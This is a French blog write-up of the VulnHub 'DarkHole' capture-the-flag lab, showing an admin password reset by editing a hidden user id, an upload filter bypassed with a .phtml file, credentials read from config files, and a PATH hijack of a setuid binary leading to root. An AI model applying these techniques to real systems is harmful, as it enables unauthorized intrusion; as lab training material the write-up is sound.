Accueil Solution du CTF DarkHole de VulnHub
Post
Annuler

Solution du CTF DarkHole de VulnHub

Le CTF DarkHole était simple, mais assez intéressant parce qu’il s’éloignait de l’habituelle faille SQL que l’on trouve sur les challenges. Il y a tellement de failles web existantes alors pourquoi se limiter à une ?

You are doing it wrong

Sur le port 80 on trouve un site avec une page de login. Il est aussi possible de s’enregistrer donc je m’exécute aussitôt.

Une fois connecté je trouve un formulaire permettant de changer mon mot de passe.

Premier constat : l’ancien mot de passe n’est pas demandé, ce qui en fait un bon candidat à un Cross Site Request Forgery mais surtout en regardant le code du formulaire, on voit qu’un champ caché id spécifie quel utilisateur est la cible du changement de mot de passe :

1
2
3
4
5
<form name="event" method="post">
    <input type="password" name="password" id="ftitle" placeholder="New Password">
    <input type="hidden" name="id" value="2">
    <input type="submit" id="fsubmit" value="Change" class="button">
</form>

Il suffit d’éditer la valeur de id pour la mettre à 1 via les dev-tools puis de se connecter avec le compte admin et le mot de passe que l’on a défini.

On trouve cette fois un formulaire d’upload mais quand on tente d’uploader un fichier avec l’extension .php on se fait jeter :

Sorry , Allow Ex : jpg,png,gif

J’ai d’abord pensé à une whitelist et j’ai donc tenté les doubles extensions (.php.png) mais le fichier uploadé n’était pas interprété.

Finalement en utilisant l’extension .phtml l’upload fonctionnait correctement, preuve que le script utilisait en fait une blacklist trop permissive.

Blague de toto

Une fois un shell récupéré je trouve un fichier config/database.php à la racine du site :

1
2
<?php
$connect = new mysqli("localhost",'john','john','darkhole');

Et aussi un fichier darkhole.sql dans /var/www :

1
2
INSERT INTO `users` (`id`, `username`, `email`, `password`) VALUES
(1, 'admin', 'admin@admin.com', 'EWIOEJIOejw@(#I(@djslKJ');

Aucun de ces mots de passe ne semble accepté par le système alors je continue ma route avec les fichiers de l’utilisateur john :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@darkhole:/$ find / -user john -ls 2> /dev/null 
   131110      4 drwxrwxrwx   5 john     john         4096 Jul 17  2021 /home/john
   131120      4 -rwxrwx---   1 john     john            1 Jul 17  2021 /home/john/file.py
   131121      4 -rw-rw----   1 john     john           24 Jul 17  2021 /home/john/user.txt
   131114      4 -rw-------   1 john     john           37 Jul 17  2021 /home/john/.mysql_history
   131122      4 drwxrwx---   2 john     www-data     4096 Jul 17  2021 /home/john/.ssh
   131123      4 -rw-------   1 john     www-data     2602 Jul 17  2021 /home/john/.ssh/id_rsa
   131125      4 -rw-r--r--   1 john     www-data      222 Jul 17  2021 /home/john/.ssh/known_hosts
   131124      4 -rw-r--r--   1 john     www-data      567 Jul 17  2021 /home/john/.ssh/id_rsa.pub
   131131      4 -rwxrwx---   1 john     john            8 Jul 17  2021 /home/john/password
   131128      4 -rw-------   1 john     john         1722 Jul 17  2021 /home/john/.bash_history
   131111      4 -rw-r--r--   1 john     john          807 Jul 16  2021 /home/john/.profile
   131126      4 drwx------   2 john     john         4096 Jul 17  2021 /home/john/.cache
   131112      4 -rw-r--r--   1 john     john          220 Jul 16  2021 /home/john/.bash_logout
   131113      4 -rw-r--r--   1 john     john         3771 Jul 16  2021 /home/john/.bashrc
   131115      4 drwxrwxr-x   3 john     john         4096 Jul 17  2021 /home/john/.local
   131116      4 drwx------   3 john     john         4096 Jul 17  2021 /home/john/.local/share

Les permissions sur le dossier de john et son .ssh sont intéressantes. J’ai créé un fichier authorized_keys contenant ma clé publique SSH mais le serveur SSH continuait à demander un mot de passe…

Finalement en regardant dans le dossier de l’utilisateur il y avait aussi un fichier ne lui appartenant pas :

1
-rwsr-xr-x 1 root root      17K Jul 17  2021 toto

C’est un binaire setuid et une analyze rapide avec gdb montre qu’il fait un setuid pour un utilisateur différent de root et exécute la commande id :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
gdb-peda$ disass main
Dump of assembler code for function main:
   0x0000000000001189 <+0>:     endbr64 
   0x000000000000118d <+4>:     push   rbp
   0x000000000000118e <+5>:     mov    rbp,rsp
   0x0000000000001191 <+8>:     mov    edi,0x3e9
   0x0000000000001196 <+13>:    call   0x1090 <setuid@plt>
   0x000000000000119b <+18>:    mov    edi,0x3e9
   0x00000000000011a0 <+23>:    call   0x1080 <setgid@plt>
   0x00000000000011a5 <+28>:    lea    rdi,[rip+0xe58]        # 0x2004
   0x00000000000011ac <+35>:    mov    eax,0x0
   0x00000000000011b1 <+40>:    call   0x1070 <system@plt>
   0x00000000000011b6 <+45>:    nop
   0x00000000000011b7 <+46>:    pop    rbp
   0x00000000000011b8 <+47>:    ret    
End of assembler dump.
gdb-peda$ x/s 0x2004
0x2004: "id"

En l’occurrence l’UID est celui de John :

1
2
www-data@darkhole:/home/john$ ./toto 
uid=1001(john) gid=33(www-data) groups=33(www-data)

Il suffit de placer un dash sous le nom id dans le dossier courant et d’appeler l’exécutable avec le PATH modifié :

1
2
3
4
5
6
7
www-data@darkhole:/home/john$ PATH=.:$PATH ./toto 
$ whoami
john
$ cat user.txt
DarkHole{You_Can_DO_It}
$ cat password
root123

Ce mot de passe permet de se connecter avec l’utilisateur darkhole, membre du groupe sudo :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ su darkhole
Password: 
darkhole@darkhole:/home/john$ sudo -l
[sudo] password for darkhole: 
Matching Defaults entries for darkhole on darkhole:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User darkhole may run the following commands on darkhole:
    (ALL : ALL) ALL
darkhole@darkhole:/home/john$ sudo su
root@darkhole:/home/john# cd /root
root@darkhole:~# ls
root.txt  snap
root@darkhole:~# cat root.txt
DarkHole{You_Are_Legend}
Cet article est sous licence CC BY 4.0 par l'auteur.